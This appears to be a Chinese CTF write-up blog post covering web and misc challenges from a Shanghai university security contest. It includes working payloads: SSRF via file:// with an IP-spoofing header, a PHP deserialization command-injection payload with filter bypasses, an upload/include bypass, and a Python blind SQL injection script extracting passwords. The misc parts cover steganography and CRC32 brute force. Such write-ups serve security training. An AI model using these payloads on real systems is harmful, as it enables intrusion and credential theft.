Altm4nz's blog

WEB划水选手

第四届上海市大学生网络安全赛-WEB&MISC

1
文章首发于https://www.freebuf.com/column/188520.html

WEB

web1

查看robots.txt得知flag.php和source.php
访问source.php,需要以管理员登录

POST数据admin=1

需要伪造IP为127.0.0.1
多番尝试后发现可以用x-client-ip绕过

添加http头x-client-ip:127.0.0.1

POST数据url=http://www.ichunqiu.com

得到一个图片地址,将图片数据下载下来后发现是www.ichunqiu.com网站首页源码。
显然是ssrf
那么接下来就要构造url读取其他文件。
利用file://协议读取本地文件,绕过检测最终得到payload

url=file://www.ichunqiu.com//var/www/html/flag.php


将JPG文件下载然后查看内容

web2

一道反序列化题目
.index.php.swp发现源码

1
vim -r index.php

恢复源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
error_reporting(0);
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo($host){
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}

}

$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value;
}
else{break;}
}
if($first==="doller")
{
@parse_str($_GET['a']);
if($var==="give")
{
if($bbb==="me")
{
if($ccc==="flag")
{
echo "<br>welcome!<br>";
$come=@$_POST['come'];
unserialize($come);
}
}
else
{echo "<br>think about it<br>";}
}
else
{
echo "NO";
}


}
else
{
echo "Can you hack me?<br>";
}

?>

很明显的反序列化
首先简单的构造打出welcome回显,进入POST语句

然后构造反序列化

然后上传

成功执行命令。
获取flag的过程中发现空格被bypass了,这里用$IFS绕过
双写flag绕过过滤
最终payload

1
O%3A4%3A%22come%22%3A2%3A%7Bs%3A12%3A%22%00come%00method%22%3Bs%3A4%3A%22echo%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A18%3A%22%60cat%24IFS%2Fflaflagg%60%22%3B%7D%7D

web3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
直接给了源码
<?php
//error_reporting(0);
//$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
$dir=md5("icq");
$sandbox = '/var/sandbox/' . $dir;
@mkdir($sandbox);
@chdir($sandbox);

if($_FILES['file']['name']){
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
}
unlink($new_name);
}
else{
highlight_file(__FILE__);
}

首先要绕过

1
end($filename)==$filename[count($filename) - 1]

前者是数组里最后一个元素,后者取根据数组下标来取的值。
所以,我们只需要让下标等于count($filename) - 1的元素不是数组最后一个元素即可。
例如

1
[1=>'123', 5=>'php']

此时

1
2
end($filename)='php'
count($filename)-1=1 ,$filename[1]=NULL

即可绕过检测,构造表单上传

没有打印 emmmm 成功绕过
然后是要将上传的文件重新命名

1
2
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);

$ext即为上传的file[2]内容
接下来他会进行判断然后进行包含。

1
2
3
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
}

这里都很好处理,最后有个unlink函数会删除上传的文件
我们用 123.php/.进行绕过。
最终上传文件

此时已经在沙盒内生成一个XXX.123的文件。
接下来爆破文件

对XXX进行爆破
爆破到文件名为100.123
执行命令拿flag

web4

注入得到密码

在id先进行注入

1
1' and 1=1%23

成功闭合
发现过滤了 information_schema.
卡在这里很久,最后才找到方法绕过

1
information_schema . tables

本地测试发现空格可以绕过这样的检测

其中还过滤了from,limit等关键词,最终构造语句

1
1' and (ascii(substr((SELECT GROUP_CONCAT(table_name) FROM information_schema . tables WHERE table_schema=database()),1,1))=1)%23

盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# encoding=utf-8
import requests
import string
url='http://495461f9167c4156a993dfa226d99f944a9e804913c04884.game.ichunqiu.com/select_guest.php?id='
flag=''
for i in range(1,100):
for j in range(33,127):
#payload="1' and (ascii(substr((SELECT GROUP_CONCAT(table_name) FROM information_schema . tables WHERE table_schema=database()),%d,1))=%d)%%23&Submit=Select+Guest"%(i,j)
#payload="1' and (ascii(substr((SELECT GROUP_CONCAT(column_name) FROM information_schema . columns WHERE table_schema=database() and table_name='user'),%d,1))=%d)%%23&Submit=Select+Guest"%(i,j)
payload="1' and (ascii(substr((SELECT GROUP_CONCAT(password) FROM user),%d,1))=%d)%%23&Submit=Select+Guest"%(i,j)
url1=url+payload
r=requests.get(url=url1)
if '10.10.1.1' in r.content:
flag=flag+chr(j)
print flag
break

得到管理员密码的MD5值,然后去网站解密得到管理员密码adminpassword

上传截断

登陆进去后发现一个上传页面,随手尝试一下。

尝试大写小bypass
得到提示please upload to ./flag.php
那么就要构造路径为./flag.php
发现下面有个hidden的参数uploaddir
我们可以通过拼接uploaddir和filename的方式构造php

成功构造flag.php,但是自动加上的后缀txt有点无解
这时候就想到00截断

失败了。。
这时候就卡了很久,执念于心提示02可以截断

自闭了。这样也可以。
最后去google也没查到02截断是什么操作。。

misc

92

拿到一个txt文件观察发现文件第一行末是一个倒置PNG头文件最后一行是一个word文件头。


随即经过两种方式的倒序得到一个加密的word文件和一个PNG图片


扫描二维码得到>:2?kEaX

根据题目名字92尝试base92解密得到 Passwd

作为密码打开word文档移开二维码发现了隐藏信息

通过扫描二维码得到一部分flag又在”文档隐藏”上方发现一部分flag。

最后通过提示imag steganography找到steganography工具。

从”YOU ARE ALIVE”图片中找到一段flag。拼接成完整的flag。

nofind

打开流量包一波观察后在tcp流中发现上传了一个压缩包

通过导出http对象拿到文件 example1(1).php

Binwalk -e 分离出一个图片


尝试各种隐写解密都没用。主办方提示openpuff。

找到软件后发现需要三个密码根据图片中的ct??????猜想密码可能为这8位字符串。需要我们找到??????的值。

再回到导出http对象中发现了三个奇怪的crc32值

利用crc32爆破脚本尝试进行6字节的crc32爆破。

如上分别对三个CRC32值爆破。

又有提示爆破结果包含f。

最终得到3个值

ct93fjhl

ctmbof3k

ctv4gfx1

作为三个密钥输入openpuff中解得flag。